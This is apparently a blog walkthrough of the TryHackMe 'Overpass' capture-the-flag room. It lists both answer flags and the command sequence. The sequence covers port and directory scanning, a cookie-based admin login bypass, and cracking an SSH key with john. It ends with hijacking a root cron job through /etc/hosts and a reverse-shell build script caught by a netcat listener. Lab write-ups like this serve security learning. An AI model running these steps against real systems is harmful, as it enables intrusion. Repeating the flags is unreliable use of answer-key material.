Overpass - TryHackMe Problem Solving
1. Hack the machine and get the flag in user.txt
Ans: thm{65c1aaf000506e56996822c6281e6bf7}
2. Escalate your privileges and get the flag in root.txt
Ans: thm{7f336f8c359dbac18d54fdd64ea753bb}
============= Solving way =============
1. First of all Start Machine and copy id address to past on browser
2. open terminal and run
cmd: nmap -A -sS -sV -T4 ip address for open port and etc
3. Go to browser with ip address visit site and see source code
cmd: gobuster dir -u http://ip --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
For directory info like "admin,img"
4. Go to ip/admin page and try login then "inspect" and see view page source
Add Cookie "SessionToken" => "empty"
5. Relod browser and get hash key
cmd: nano id_rsa
cmd: ls
cmd: chmod 600 id_rsa
cmd: ssh2john id_rsa > hash.txt
cmd: john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Get password: james13
cmd: ssh -i id_rsa james@ip
For login need Input- key and password
After login:
james@overpass-prod:~$ ls
cmd: cat user.txt
Get first ans to user text
cmd: cat todo.txt
cmd: ls -la
cmd: cat .overpass
6. Go to "rot-47 Cipller" and decode then try cmd: sudo -l
type password " I thing not work "
cmd: cat /etc/issue
cmd: find / -type f -perm -04000 -ls 2>/dev/null
cmd: ls
cmd: cd /home
cmd: ls
cmd: cd jems
cmd: cat /etc/crontab
cmd: cat /etc/hosts
7. go to terminal new tab cmd: ifconfig
for pc ip address
back cmd: nano /etc/hosts
change overpass.thm ip address then exit
cmd: cat /etc/crontab
8. go to cmd new tab cmd: sudo mkdir -p downloads/src
cmd: ls
cmd: sudo nano downloads/src/buildscript.sh
9. go to browser "Reverse shell " input ip address and port to copy reverse
shell and past into nano buildscript.sh file then exit.
New Cmd: cat downloads/src/buildscript.sh
cmd: ls -la
cmd: sudo chmod +x downloads/src/buildscript.sh
cmd: ls
cmd: python3 -m http.server 80
new 31 cmd: nc -lvnp 1234
back james@overpass-prod:~$ watch ls -la /bin/bash
new 31 cmd: ls
cmd: id
cmd: cd ..
cmd: pwd
cmd: cd root
cmd: ls
cmd: cat root.txt
Comments
Post a Comment